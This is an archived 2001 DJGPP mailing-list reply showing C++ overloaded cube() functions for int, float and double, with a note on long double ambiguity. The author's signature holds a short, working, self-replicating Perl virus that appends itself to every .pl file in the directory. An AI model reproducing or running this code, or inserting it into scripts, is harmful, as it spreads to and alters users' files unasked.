www.delorie.com/archives/browse.cgi   search  
Mail Archives: djgpp/2001/03/12/07:08:01

From: rpolzer AT web DOT de (Rudolf Polzer)
Newsgroups: comp.os.msdos.djgpp
Subject: Re: integer???
References: <ACVp6.202$nq3 DOT 45130 AT sapphire DOT mtt DOT net> <3AA86A78 DOT 8CCCAB79 AT earthlink DOT net>
X-newsgroup: comp.os.msdos.djgpp
X-Mailer: GehtDichNenScheissdreckAn 1.0
User-Agent: GehtDichNenScheissdreckAn 1.0
Message-ID: <slrn9apf2d.1aq.rpolzer@rebounce.rpolzer-lx>
User-Agent: slrn/0.9.6.2 (Linux)
Date: Mon, 12 Mar 2001 13:08:45 +0100
Lines: 42
NNTP-Posting-Host: 213.7.24.45
X-Trace: 984398493 news.freenet.de 19272 213.7.24.45
X-Complaints-To: abuse AT freenet DOT de
To: djgpp AT delorie DOT com
DJ-Gateway: from newsgroup comp.os.msdos.djgpp
Reply-To: djgpp AT delorie DOT com

Martin Ambuhl <mambuhl AT earthlink DOT net> schrieb Folgendes:
> Debbie wrote:
> > 
> > Can someone help me write a program that uses overloaded functions to
> > calculate the cube of an integer, a float, and a double.
> 
> I'll do your homework this time, but not again.  Even once is probably a
> disservice to you:
> 
> #include <iostream>
> using namespace std;
> 
> template < class T > T cube(T x)

He meant overloading. Of course your variant is better, but he does not
seem to understand what a template ist.

int cube (int x)
{
 return x*x*x;
}
float cube (float x)
{
 return x*x*x;
}
double cube (double x)
{
 return x*x*x;
}

But this is not very good because of one thing: try

long double x;
cube (x);

and the compiler will not know whether to use the float or double version.

-- 
#!/usr/bin/perl
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################

- Raw text -


  webmaster     delorie software   privacy  
  Copyright © 2019   by DJ Delorie     Updated Jul 2019